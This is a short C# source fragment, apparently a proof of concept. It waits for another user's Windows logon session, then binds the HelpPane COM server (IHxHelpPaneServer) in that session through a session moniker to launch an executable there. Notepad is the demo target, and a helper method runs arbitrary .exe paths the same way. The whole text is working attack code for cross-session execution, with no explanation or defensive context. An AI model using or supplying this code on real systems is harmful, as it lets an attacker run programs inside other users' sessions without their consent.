static void Main(string[] args) { try { int current_session_id = Process.GetCurrentProcess().SessionId; int new_session_id = 0; Console.WriteLine("Waiting For a Target Session"); while (true) { IEnumerable <int> sessions = GetSessionIds().Where(id => id != current_session_id); if (sessions.Count() > 0) { new_session_id = sessions.First(); break; } Thread.Sleep(1000); } Console.WriteLine("Creating Process in Session {0} after 20secs", new_session_id); Thread.Sleep(20000); IHxHelpPaneServer server = (IHxHelpPaneServer)Marshal.BindToMoniker(String.Format("session:{0}!new:8cec58ae-07a1-11d9-b15e-000d56bfe6ee", new_session_id)); Uri target = new Uri(Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.System), "notepad.exe")); server.Execute(target.AbsoluteUri); } catch (Exception ex) { Console.WriteLine(ex); } }
public void Execute(string fullpath) { bool ContaainChinese = false; for (int i = 0; i < fullpath.Length; i++) { if (Regex.IsMatch(fullpath[i].ToString(), @"[\u4e00-\u9fbb]")) { ContaainChinese = true; break; } } if (Regex.IsMatch(fullpath, @"(.*)(\.exe)$") && ContaainChinese == false) { IHxHelpPaneServer server = (IHxHelpPaneServer)Marshal.BindToMoniker(String.Format("new:8cec58ae-07a1-11d9-b15e-000d56bfe6ee")); Uri target = new Uri(fullpath); server.Execute(target.AbsoluteUri); } else { Process.Start(fullpath); } }